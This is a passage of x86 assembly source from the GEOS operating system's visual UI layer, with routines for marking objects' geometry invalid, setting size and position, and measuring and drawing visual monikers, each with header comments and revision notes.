EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_VIS_GET_PARENT_GEOMETRY_PARENT_NOT_COMPOSITE >
mov cx, word ptr ds:[di].VCI_geoAttrs
call ObjSwapUnlock
pop di
pop si
pop bx
ret
VisGetParentGeometry endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisMarkInvalidOnParent
DESCRIPTION: Marks object's visible parent as being invalid in some way.
PASS: *ds:si - instance data
cl -- flags:
mask VOF_BUILD_INVALID (causes spec build update)
mask VOF_GEOMETRY_INVALID (causes geometry update)
mask VOF_WINDOW_INVALID (causes win move/resize)
mask VOF_IMAGE_INVALID (causes region inval)
dl -- flags:
VisUpdateMode
RETURN: ds - updated to point at segment of same block as on entry
DESTROYED:
cx
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/90 Initial version
------------------------------------------------------------------------------@
VisMarkInvalidOnParent proc far uses bx, si
.enter
call VisFindParent ; Set ^lbx:si = vis parent
tst bx
jz done ; If NO vis parent, done
; See if parent is run by same thread
; or not
call ObjTestIfObjBlockRunByCurThread
je sameThread
; If run by different thread, have
; to use ObjMessage
mov ax, MSG_VIS_MARK_INVALID
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
jmp short done
sameThread:
call ObjSwapLock
call VisMarkInvalid
call ObjSwapUnlock
done:
.leave
ret
VisMarkInvalidOnParent endp
COMMENT @----------------------------------------------------------------------
METHOD: VisMarkInvalid -- MSG_VIS_MARK_INVALID for VisClass
DESCRIPTION: Marks objects as having invalid geometry, image, or view.
Sets the invalid flags for the object according to what is
passed. Sets path flags up the tree to the ui-window
accordingly. Use VOF_IMAGE_INVALID when you've changed how
the object is drawn, so that it will redraw correctly. Use
VOF_GEOMETRY_INVALID if you want the object to be a different
size and need its (and other vis objects around it) geometry
redone. Use VOF_WINDOW_INVALID if you need to open a new window
for the object, or if the object's bounds have changed and
a window must be moved or resized accordingly.
PASS: *ds:si - instance data
cl -- flags:
mask VOF_BUILD_INVALID (causes spec build update)
mask VOF_GEOMETRY_INVALID (causes geometry update)
mask VOF_WINDOW_INVALID (causes win move/resize)
mask VOF_IMAGE_INVALID (causes region inval)
dl -- flags:
VisUpdateMode
RETURN: nothing
ds - updated to point at segment of same block as on entry
DESTROYED:
cx
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
save passed flags
;
; if any invalid bits set, set the corresponding path bit
; also clear path flags that are already set in the object
;
flags = flags or ((flags and INVALID_BITS) >>1) and
(not (optFlags and PATH_BITS))
optFlags = optFlags or flags
;
; now run up the tree, setting path bits where necessary.
;
flags = flags and PATH_BITS
if flags and not IS_WIN_GROUP
CallParent(flags)
else
restore original passed flags
if not VUM_MANUAL call MSG_VIS_UPDATE_WIN_GROUP
endif
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/24/89 Initial version
Doug 10/89 Now recurses up tree w/o using messages
------------------------------------------------------------------------------@
VisMarkInvalid method static VisClass, MSG_VIS_MARK_INVALID
class VisClass
push ax
push bx
push dx
push di
EC < test dl, 0ffh AND (not mask SBF_UPDATE_MODE) >
EC < ERROR_NZ UI_BAD_VIS_UPDATE_MODE >
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < call VisCheckOptFlags ; Check VI_optFlags >
push dx ; save update mode
mov di, ds:[si] ; point to instance
add di, ds:[di].Vis_offset ; ds:di = VisInstance
tst cl ; any bits set?
jz VMI70 ; no, branch
mov dl, ds:[di].VI_optFlags ; save original optFlags here
or ds:[di].VI_optFlags, cl ; or in new flags
; NOW, merge inval & path into
; path bits, to carry
; forward.
; Now go up the tree with any path bits, to set a path to the top.
;
; If WIN_GROUP, stop, at top.
test ds:[di].VI_typeFlags, mask VTF_IS_WIN_GROUP
jnz VMI70
; Else calc path bits needed
mov ch, cl ; copy to ch
and ch, VOF_INVALID_BITS ; take invalid bits
shr ch, 1 ; turn into path bits
or cl, ch ; and "or" back in
and cl, VOF_PATH_BITS ; keep only resulting path bits
; Do the same for original val
mov dh, dl ; copy to dh
and dh, VOF_INVALID_BITS ; take invalid bits
shr dh, 1 ; turn into path bits
or dl, dh ; and "or" back in
and dl, VOF_PATH_BITS ; keep only resulting path bits
not dl ; Any bits which where already
and cl, dl ; marked as invalid or as
; path bits need not be carried
; forward.
jz VMI70 ; if nothing more to do, done
mov dl, VUM_MANUAL ; for operations recursively
; upward, do manually
; of branch from above
; NOW, recursively call parent, without using messages, to save time.
push si
call VisSwapLockParent ; setup *ds:si = parent
jnc VMI_doneWithParent ; if no parent, skip
mov di, UI_STACK_SPACE_REQUIREMENT_FOR_RECURSE_ITERATION
call ThreadBorrowStackSpace
call VisMarkInvalid ; Mark parent invalid as
call ThreadReturnStackSpace ; appropriate
VMI_doneWithParent:
call ObjSwapUnlock ; restore ds
pop si
VMI70:
pop dx ; restore original args
EC < call VisCheckOptFlags ; Check VI_optFlags >
tst dl ; check for VUM_MANUAL
jz VMI80
push bp
call VisVupUpdateWinGroup ; call statically
pop bp
VMI80:
EC < call VisCheckOptFlags ; Check VI_optFlags >
pop di
pop dx
pop bx
pop ax
ret
VisMarkInvalid endm
COMMENT @----------------------------------------------------------------------
METHOD: VisGetCenter -- MSG_VIS_GET_CENTER for VisClass
DESCRIPTION: Returns the center of a visual object. Usually, an object's
center is the midpoint of the object -- this external routine
will return exactly that if you know your object doesn't
handle MSG_VIS_GET_CENTER specially.
PASS: *ds:si - instance data
ax - MSG_VIS_GET_CENTER
RETURN: cx - minimum amount needed left of center
dx - minimum amount needed right of center
ax - minimum amount needed above center
bp - minimum amount needed below center
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/14/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisGetCenter method static VisClass, MSG_VIS_GET_CENTER
class VisClass
push di
EC< call VisCheckVisAssumption ;make sure vis data exists >
mov di, ds:[si] ;point at instance data
add di, ds:[di].Vis_offset ;ds:di = VisInstance
call VisGetSize ;get the size of the object
mov bp, dx ;put height in bp
mov ax, bp ;and ax
mov dx, cx ;put width in dx as well as cx
shr cx, 1 ;divide width by 2 for left
sub dx, cx ;subtract from width for right
shr ax, 1 ;divide height by 2 for top
sub bp, ax ;subtract from height for bottom
pop di
ret
VisGetCenter endm
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisSetSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: This routine takes a normal width and height, and stores
it in the instance data. Should be called ONLY by the
geometry manager unless this object or its parent
is not managed. The resize leaves the upper left corner
pinned in the same location.
PASS: ax - MSG_VIS_SET_SIZE
*ds:si - instance data
cx - width of object
dx - height of object
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 11/88 Initial version
Chris 2/23/89 (Hopefully) changed for the last time.
Chris 4/91 Updated for new graphics, vis bounds conventions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
VisSetSize method static VisClass, MSG_VIS_SET_SIZE
class VisClass
push bx, di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si] ; point to instance
add di, ds:[di].Vis_offset ; ds:di = VisInstance
mov bx, ds:[di].VI_bounds.R_left ; set new right value
add bx, cx
mov ds:[di].VI_bounds.R_right, bx
mov bx, ds:[di].VI_bounds.R_top ; set new top value
add bx, dx
mov ds:[di].VI_bounds.R_bottom, bx
DoPop di, bx
ret
VisSetSize endm
COMMENT @----------------------------------------------------------------------
METHOD: VisSetPosition -- MSG_VIS_SET_POSITION for VisClass
DESCRIPTION: VisClass handling routine for MSG_VIS_SET_POSITION
Changes the bounds in an object's instance data so that the
object moves, preserving its width & height. This is generally
only called by the geometry manager, but others can call it
to move objects that are not managed.
PASS:
*ds:si - instance data
ax - MSG_VIS_SET_POSITION
cx - new left edge, relative to parent window
dx - new top edge
RETURN:
nothing
DESTROYED:
nothing (can be called via static binding)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisSetPosition method static VisClass, MSG_VIS_SET_POSITION, \
MSG_VIS_POSITION_BRANCH
class VisClass
push cx, di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si] ; point to instance data
add di, ds:[di].Vis_offset
sub cx, ds:[di].VI_bounds.R_left ; make relative to current left
add ds:[di].VI_bounds.R_left, cx ; add left back in for new left
add ds:[di].VI_bounds.R_right, cx ; add rel amount for new right
mov cx,dx
sub cx, ds:[di].VI_bounds.R_top ; make relative to current top
add ds:[di].VI_bounds.R_top, cx ; add top back in for new top
add ds:[di].VI_bounds.R_bottom, cx ; add rel amt for new bottom
pop cx, di
ret
VisSetPosition endm
COMMENT @----------------------------------------------------------------------
FUNCTION: VisDrawMoniker
DESCRIPTION: Draw a visual moniker for an object. This is often called
by a MSG_VIS_DRAW handler for an object. Many things can be
passed to control where the moniker is drawn in relation to
the object's bounds, whether to clip the moniker, etc.
If you just want to draw an object's generic moniker, in
GI_visMoniker, you can call GenDrawMoniker, which takes the
same arguments as VisDrawMoniker.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
*es:bx - moniker to draw (if bx = 0, then nothing drawn)
cl - how to draw moniker: DrawMonikerFlags
ss:bp - DrawMonikerArgs
RETURN:
ax, bx -- position moniker was drawn at
ss:bp -- DrawMonikerArgs, with DMA_CLIP_TO_MAX_WIDTH still set if
clipping was needed on the moniker, otherwise cleared.
PASSED TO MONIKER:
When designing a graphics string moniker for a gadget, here's the state
you can expect when the gstring begins drawing:
* Line color, text color, area color set to the desired moniker
for that gadget and specific UI, typically black. You should
use these if your gstring is black and white. If you're using
color, you can choose your own colors but you must be sure
they look OK against all of the specific UI background colors.
* Pen position set to the upper left corner of where the moniker
should be drawn. Your graphics string *must* be drawn
relative to this pen position.
* The moniker must return all gstate variables intact, except
that colors and pen position can be destroyed.
DESTROYED:
cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
Chris 5/25/92 Rewritten to clip in both x and y.
------------------------------------------------------------------------------@
VisDrawMoniker proc far
class VisClass ;Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ;Make sure vis data exists >
EC< test cl, not DrawMonikerFlags ;any bad flags? >
EC< ERROR_NZ UI_BAD_DRAW_MONIKER_FLAGS >
EC< call ECCheckLMemObject >
test cl, mask DMF_CLIP_TO_MAX_WIDTH
jz GDM_start ;not clipping, branch
push cx, bp ;save flags, pointer to stuff
mov ax, ss:[bp].DMA_textHeight ;pass height of text, if any
mov bp, ss:[bp].DMA_gState ;pass gstate
mov di, bx ;pass moniker in *es:di
call VisGetMonikerSize ;get moniker size in cx, dx
mov bx, di ;*es:bx <- moniker again
mov di, dx ;height in di
mov dx, cx ;width in dx
DoPop bp, cx
GDM_start:
EC < push di >
EC < mov di, bx ;pass *es:di = VisMoniker >
EC < call CheckVisMoniker ;make sure is not moniker list! >
EC < pop di >
push si ;save si
mov ax, si ;also put here
clr si ;assume no moniker
tst bx
jz 10$ ;Null chunk, branch with si=0
mov si, es:[bx] ;es:si = visMoniker
10$:
push di ;save moniker height
test cl,mask DMF_NONE ;if drawing at pen position
jz GDM_notAtPen ;then do it
mov di, ss:[bp].DMA_gState
call GrGetCurPos ;(ax, bx) = pen position
jmp GDM_atPen
GDM_notAtPen:
push cx, dx ;save moniker flags
call GetMonikerPos ;ax,bx <- moniker position
pop cx, dx ;restore moniker flags
mov di, ss:[bp].DMA_gState
call GrMoveTo
GDM_atPen:
pop di ;restore moniker height
push ds
segmov ds,es
;
; We'll set an application clip region here to clip the string to
; the maximum width. If the size of the moniker warrants it, anyway.
;
push cx ;save draw flags
test cl, mask DMF_CLIP_TO_MAX_WIDTH ;see if we're clipping
jz GDM_draw ;no, don't clip
cmp dx, ss:[bp].DMA_xMaximum ;see if moniker fits
ja GDM_setupClip ;no, clip.
cmp di, ss:[bp].DMA_yMaximum ;see if moniker fits
ja GDM_setupClip ;no, clip.
pop cx ;restore draw flags
and cl, not mask DMF_CLIP_TO_MAX_WIDTH
push cx ;clear flag, save again
jmp short GDM_draw ;skip clipping stuff
GDM_setupClip:
mov di, ss:[bp].DMA_gState
push si, ax, bx, dx ;remove ax, bx when we draw
; the text at the pen pos!
call GrSaveState ;save current clip region
;
; Get current position and calculate a clip region for the text.
;
call GrGetCurPos ;get pen position in ax, bx
mov cx, ax ;put x pos in right edge
add cx, ss:[bp].DMA_xMaximum ;add max width-1 to get right
; dec cx ; edge of clip region
mov dx, bx
add dx, ss:[bp].DMA_yMaximum
; dec dx
mov si, {word} ds:[si].VM_type ;get moniker type
; Apparently, this is no longer necessary. (Or a good idea) -cbh 4/27/92
; (Apparently it is again. -cbh 11/19/92 :)
; It is no longer a good idea, again - brianc 2/9/93
;(
; test si, mask VMT_GSTRING ;is a GString?
; jz GDM_clip ;skip if not
; sub cx, ax ;else make relative to origin
; clr ax ;
; sub dx, bx
; clr bx
;)
;
;GDM_clip:
mov si, PCT_REPLACE ;new clip region
call GrSetClipRect ;set it
DoPop dx, bx, ax, si
GDM_draw:
mov di, ss:[bp].DMA_gState
tst si ;see if any moniker
jz GDM_afterDraw ;none, skip any drawing
mov cl, ds:[si].VM_type ;get moniker type
add si, VM_data ;point at the data
test cl, mask VMT_GSTRING ;is a GString?
jnz GDM_notText ;skip if so...
add si, VMT_text ;get at the text
clr cx ;draw all characters
call GrDrawText ;draw the moniker
pop cx ;restore draw moniker flags
jmp short GDM_afterDrawCxOK
GDM_notText:
pop cx ;get draw moniker flags back
push cx
test cl, mask DMF_TEXT_ONLY ;text only, skip draw
jnz GDM_afterDraw ; (cbh 12/14/92)
push bx, dx
call GrSaveState
mov cl, GST_PTR ; pointer type
mov bx, ds ; bx:si -> GString
add si, VMGS_gstring ;
call GrLoadGString ; si = GString handle
clr dx ; no flags
call GrDrawGStringAtCP ; draw it
EC < cmp dx, GSRT_COMPLETE >
EC < ERROR_NZ INVALID_MONIKER >
mov dl, GSKT_LEAVE_DATA
call GrDestroyGString
call GrRestoreState
pop bx, dx
GDM_afterDraw:
pop cx ;restore flags
GDM_afterDrawCxOK:
test cl, mask DMF_CLIP_TO_MAX_WIDTH ;see if we were clipping
jz GDM_exit ;no, exit
call GrRestoreState ;restore old clip region
GDM_exit:
pop ds
pop si ;& restore si
ret
VisDrawMoniker endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetMonikerPos
DESCRIPTION: Calculate position of object's visual moniker, without actually
drawing anything. This can be useful, along with
VisMonikerSize, for figuring out where the moniker will be
drawn. Takes the same arguments as VisDrawMoniker.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
*es:bx - moniker to draw (if bx = 0, then nothing drawn)
cl - how to draw moniker: MatrixJustifications
ss:bp - DrawMonikerArgs
RETURN:
ax, bx -- position moniker was drawn at (zeroes if no moniker)
DESTROYED:
cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisGetMonikerPos proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ;Make sure vis data exists >
clr ax ;assume no moniker...
tst bx
jz VGMP_reallyExit ;If null chunk, all done
EC < push di >
EC < mov di, bx ;pass *es:di = VisMoniker >
EC < call CheckVisMoniker ;make sure is not moniker list! >
EC < pop di >
push si ;save si
mov ax, si ;also put here
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di = VisInstance
mov si, es:[bx] ;es:si = visMoniker
test cl,mask DMF_NONE ;if drawing at pen position
jz VGMP_notAtPen ;then do it
jmp short VGMP_atPen
VGMP_notAtPen:
call GetMonikerPos ;ax,bx <- moniker position
jmp short VGMP_exit ;and exit
VGMP_atPen:
mov di, ss:[bp].DMA_gState ;pass the graphics state
call GrGetCurPos
VGMP_exit:
pop si ;& restore si
VGMP_reallyExit:
ret
VisGetMonikerPos endp
COMMENT @----------------------------------------------------------------------
ROUTINE: GetMonikerPos
SYNOPSIS: Returns the position to draw the moniker at. Assumes DMF_NONE
is not set, that the position is derived from the bounds of
the object and the size of the moniker.
CALLED BY: VisDrawMoniker, VisGetMonikerPos
PASS:
*ds:ax - instance data
*es:bx - moniker to draw
es:di - moniker to draw
cl - how to draw moniker: DrawMonikerFlags
ss:bp - DrawMonikerArgs
RETURN:
ax, bx -- position (or zeroes if no moniker)
DESTROYED:
cx, dx, di
PSEUDO CODE/STRATEGY:
uses ss:[bp].DMA_drawMonikerTextHeight for the cached height of the
object
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 10/31/89 Initial version
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
GetMonikerPos proc near
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
tst si ; any moniker to draw?
jnz 1$ ; yes, branch
clr ax ; else return zeroes
mov bx, ax
jmp exit
1$:
;DO NOT error check VisMoniker here - has already been done.
push ss:[bp].DMA_textHeight ;save this, we may use it
push ax ;save instance data ptr
; make sure that size is correct
mov ax, es:[si].VM_width ;get cached size
test es:[si].VM_type, mask VMT_GSTRING ;is a GString?
jz needWidthOrHeight ;no, always need height
mov di, ({VisMonikerGString} es:[si].VM_data).VMGS_height
mov ss:[bp].DMA_textHeight, di ;keep calc'ed height here
or ax, di ;see if everything set up
jnz gotWidthHeight ;yes, skip GetMonikerSize
needWidthOrHeight:
pop si ;instance handle in si
push si
push cx
mov di, bx ;handle of moniker in di
push bp
mov ax, ss:[bp].DMA_textHeight ;pass height of text, if any
mov bp, ss:[bp].DMA_gState ;pass gstate handle in bp
call VisGetMonikerSize ;height in dx, width in cx
pop bp
mov ss:[bp].DMA_textHeight, dx ;keep calc'ed height here
pop cx
mov si,es:[bx]
gotWidthHeight:
; compute x position for moniker
pop di ;restore object pointer
push di ;push back
mov di, ds:[di] ;point to instance
add di, ds:[di].Vis_offset ;ds:[di] -- VisInstance
clr ax ;If window, left edge is 0
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
jnz 10$
mov ax,ds:[di].VI_bounds.R_left ;ax = left bound
10$:
mov bx, ss:[bp].DMA_xInset ;assume left just, calc offset
mov ch,cl ;ch = flags for x axis
and ch,mask DMF_X_JUST
jz addOffsetX ;if left then done
mov bx,ds:[di].VI_bounds.R_right ;compute extra
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
; if window, undo offset
jz 20$
sub bx,ds:[di].VI_bounds.R_left
20$:
sub bx,ax ;bx = width
sub bx,es:[si].VM_width ;bx = extra
cmp ch,(J_RIGHT shl offset DMF_X_JUST) ; right justified ?
jz right
sar bx,1 ;centered -- use half of extra
jmp short addOffsetX
right:
sub bx, ss:[bp].DMA_xInset ;subtract offset on right
addOffsetX:
add ax,bx
; compute y position for moniker (ax = x pos)
push ax
clr ax
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
; if window, top is 0
jnz 30$
mov ax,ds:[di].VI_bounds.R_top ;ax = top bound
30$:
mov bx, ss:[bp].DMA_yInset ;assume top just, calc offset
and cl,mask DMF_Y_JUST
jz addOffsetY ;if left then done
mov bx,ds:[di].VI_bounds.R_bottom ;compute extra
; if window, undo offset
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
jz 40$
sub bx,ds:[di].VI_bounds.R_top
40$:
dec ax ;added in for new graphics --
; matches hack below (the
; correct thing would be to have
; nothing)
sub bx,ax ;bx = height
sub bx, ss:[bp].DMA_textHeight ;bx = extra
; to account for new graphics
cmp cl,(J_RIGHT shl offset DMF_Y_JUST) ; bottom justified ?
jz bottom
sar bx,1 ;centered -- use half of extra
inc bx ;the hack has to stay now.
jmp short addOffsetY
bottom:
sub bx, ss:[bp].DMA_yInset ;subtract offset on right
addOffsetY:
add bx,ax
pop ax
pop di ;throw away instance data ptr
pop ss:[bp].DMA_textHeight ;restore this
exit:
ret
GetMonikerPos endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetMonikerSize
DESCRIPTION: Get the size of a visual moniker for an object. Useful, along
with VisMonikerPos, to determine where a moniker will be drawn.
Also used in the MSG_VIS_RECALC_SIZE handlers for various
objects when the size of the moniker in some way influences
the size of the object.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data for object
*es:di - moniker (if di=0, returns size of 0)
bp - graphics state (containing font and style) to use
ax - the height of the font to be used for a text moniker, or zero
to get it from the graphics state
RETURN:
cx - moniker width
dx - moniker height
DESTROYED:
nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Chris 7/22/91 New version with cached height for gstrings
only
------------------------------------------------------------------------------@
VisGetMonikerSize proc far
push di
push es
FALL_THRU GetMonikerSizeCommon, es, di
VisGetMonikerSize endp
; *ds:si = object, *ds:di = moniker, on stack - di passed
GetMonikerSizeCommon proc far
class VisClass
tst di
LONG jz isNull
EC < call CheckVisMoniker ;make sure is not MonikerList >
mov dx, ax ;assume a text moniker, use passed ht
mov di,es:[di] ;es:di = visMoniker
mov cx,es:[di].VM_width ;get cached width
test es:[di].VM_type, mask VMT_GSTRING ;gstring, use cached ht
jz textMoniker
mov dx, ({VisMonikerGString} es:[di].VM_data).VMGS_height
jmp common
; this is a text moniker -- look for a hinted case
textMoniker:
test cx, mask VMCW_HINTED
jz common
push dx
push cx
call UserGetDefaultMonikerFont ;cx = font ID, dx = size
NPZ < cmp cx, FID_BERKELEY >
PZ < cmp cx, FID_PIZZA_KANJI >
pop cx
jnz cantUseHintedValues
NPZ < cmp dx, 9 >
PZ < cmp dx, 12 >
jz berkeley9
NPZ < cmp dx, 10 >
PZ < cmp dx, 16 >
jnz cantUseHintedValues
; it is Berkeley 10, use cached size
NPZ < CheckHack <offset VMCW_BERKELEY_10 eq 0> >
PZ < CheckHack <offset VMCW_PIZZA_KANJI_16 eq 0> >
NPZ < andnf cx, mask VMCW_BERKELEY_10 >
PZ < andnf cx, mask VMCW_PIZZA_KANJI_16 >
jmp storeNewCommon
cantUseHintedValues:
clr cx
jmp popCommon
; it is Berkeley 9, use cached size
berkeley9:
NPZ < CheckHack <offset VMCW_BERKELEY_9 eq 8> >
PZ < CheckHack <offset VMCW_PIZZA_KANJI_12 eq 8> >
NPZ < andnf cx, mask VMCW_BERKELEY_9 >
PZ < andnf cx, mask VMCW_PIZZA_KANJI_12 >
xchg cl, ch
storeNewCommon:
mov es:[di].VM_width, cx
popCommon:
pop dx
common:
jcxz needSomething
tst dx
LONG jnz done ;don't have height or width
needSomething:
; if no GState passed then create one
tst bp
pushf ;save GState passed state
jnz haveGState
push ax, cx, dx
xchg di,bp ;DI <- window to associate, di saved in bp
call GrCreateState ;Make a gstate for the window, in di
call UserGetDefaultMonikerFont
clr ah ;No fractional pt size
call GrSetFont
xchg di, bp ;BP <- gstate, di restored from bp
pop ax, cx, dx
haveGState:
test es:[di].VM_type, mask VMT_GSTRING
jnz getGraphicSize
push si
push ds
segmov ds,es
lea si,ds:[di].VM_data ;ds:si = moniker data
xchg di,bp ;di = GState, bp = visMoniker
tst cx ;do we need a width?
jnz ensureTextHeight
push dx
clr cx ;null terminated
add si, VMT_text ;point at the text
call GrTextWidth ;returns dx = width
mov cx, dx ;keep in cx
pop dx
ensureTextHeight:
tst dx ;do we need a height?
jnz gotWidthHeight
push cx
mov si, GFMI_HEIGHT or GFMI_ROUNDED ;si <- info to return, rounded
call GrFontMetrics ;dx -> height
pop cx
jmp short gotWidthHeight
; graphic moniker -- use GrGetGStringBounds
getGraphicSize:
push si, ds, ax, bx ; save object chunk and other
; registers that need saving
mov cl, GST_PTR
mov bx, es ; bx:si = gstring fptr
lea si, es:[di].VM_data + size VisMonikerGString
mov ds, bx ; ds:bp <- VisMoniker
xchg bp, di ; for later...
call GrLoadGString ; si <- gstring handle
; GrGetGStringBounds returns the bounds of the GString *relative*
; to the current pen position stored in the GState. If a GString
; contains no position-relative opcodes (like GR_DRAW_TEXT_AT_CP),
; then the bounds are not affected by this fact. However, if
; a GString does contain one or more of these opcodes, then the
; values returned will be dependent upon the current position.
; To avoid this problem, we set the pen position to be the origin,
; and ensure we save & restore the passed pen position around this
; work. We do not use GrSaveState & GrRestoreState as an
; optimization. -Don 7/11/94
call GrGetCurPos ; get pen position & save it
push ax, bx
clr ax, bx
call GrMoveTo ; always start at the origin
clr dx ; no control flags
call GrGetGStringBounds ; ax, bx, cx, dx = bounds
pop ax, bx
call GrMoveTo ; restore pen position
inc cx
inc dx
push dx
mov dl, GSKT_LEAVE_DATA ; destroy the gstring
call GrDestroyGString
pop dx
pop ax, bx ; leave ds, si on stack
gotWidthHeight:
; cx = width, dx = height. Cache our calculated values, if we can.
; ds:bp = VisMoniker, di = gstate passed (or created)
xchg di,bp ;di = visMoniker
mov ds:[di].VM_width,cx ;cache width
test ds:[di].VM_type, mask VMT_GSTRING ;is a GString?
jz cachedWidthHeight ;skip if not
mov ({VisMonikerGString} ds:[di].VM_data).VMGS_height, dx
cachedWidthHeight:
pop ds
pop si
; destroy GState if we created one
popf
jnz noDestroy
mov di,bp
call GrDestroyState
mov bp, 0 ;if we created one, return
; bp = 0 as was passed in
noDestroy:
done:
FALL_THRU_POP es, di
ret
isNull: ;Here if null chunk handle
clr cx ;Return size of 0
mov dx, cx
jmp short done
GetMonikerSizeCommon endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisMarkFullyInvalid
DESCRIPTION: Mark a visual object as being invalid in all ways that it
could possibly be invalid. Mark its visual parent as being
geometrically invalid, as well. This is used by MSG_SPEC_BUILD
handlers to make sure things are set up right for a newly-
added object.
CALLED BY: EXTERNAL
VisSpecBuild
PASS:
*ds:si - visual object to mark invalid
RETURN:
*ds:si - still pointing at object
(ds - updated to point at segment of same block as on entry)
DESTROYED:
Nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
NOTE: Since we we ALWAYS mark the object as geometrically
invalid, then in a simple visible composite tree that
is not being managed, but instead is laid out by the application,
we may have a lot of traversal by the geometry manager
through the tree, looking for something to do...
This may or may not be a problem. It may be easy to solve,
by having the application intercept the MSG_VIS_UPDATE_GEOMETRY
at a high level, & then leaving it up to the app whether to
use the lower invalid bits or just ignore them.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 9/89 Initial version
------------------------------------------------------------------------------@
VisMarkFullyInvalid proc far uses ax, bx, cx, dx, di, bp
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
.enter
EC< call VisCheckVisAssumption ;Make sure vis data exists >
; If we're not a WIN_GROUP, then adding in this
; object will mess up our parent's geometry. Mark it as invalid.
; See if WIN_GROUP or not
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_typeFlags, mask VTF_IS_WIN_GROUP
jnz VMFI_AfterParentInvalidation
; Mark parent composite as having bad
; geometry, that needs updating.
mov cl, mask VOF_GEOMETRY_INVALID
mov dl, VUM_MANUAL
call VisMarkInvalidOnParent
VMFI_AfterParentInvalidation:
; Invalidate the object itself, in all ways
mov cl, mask VOF_GEOMETRY_INVALID or mask VOF_WINDOW_INVALID or mask VOF_IMAGE_INVALID
; Optimization - if not a windowed object, don't need to mark
; as VOF_WINDOW_INVALID
mov di, ds:[si]
add di, ds:[di].Vis_offset
; see if windowed object
test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW or mask VTF_IS_PORTAL
jnz VMFI_afterOpt ; skip if windowed
; Don't bother to mark a
; non-window invalid.
and cl, not mask VOF_WINDOW_INVALID
VMFI_afterOpt:
mov dl, VUM_MANUAL
call VisMarkInvalid ; mark newly invalid attributes
.leave
ret
VisMarkFullyInvalid endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisReleaseMouse
DESCRIPTION: Releases mouse grab for the calling object, if it had the
mouse grab. If the active grab is lost, then the ptr event
handling mode is set back to whatever it was set to the last
time there was no active grab (basically, back to whatever
the last impledgrab object set it too)
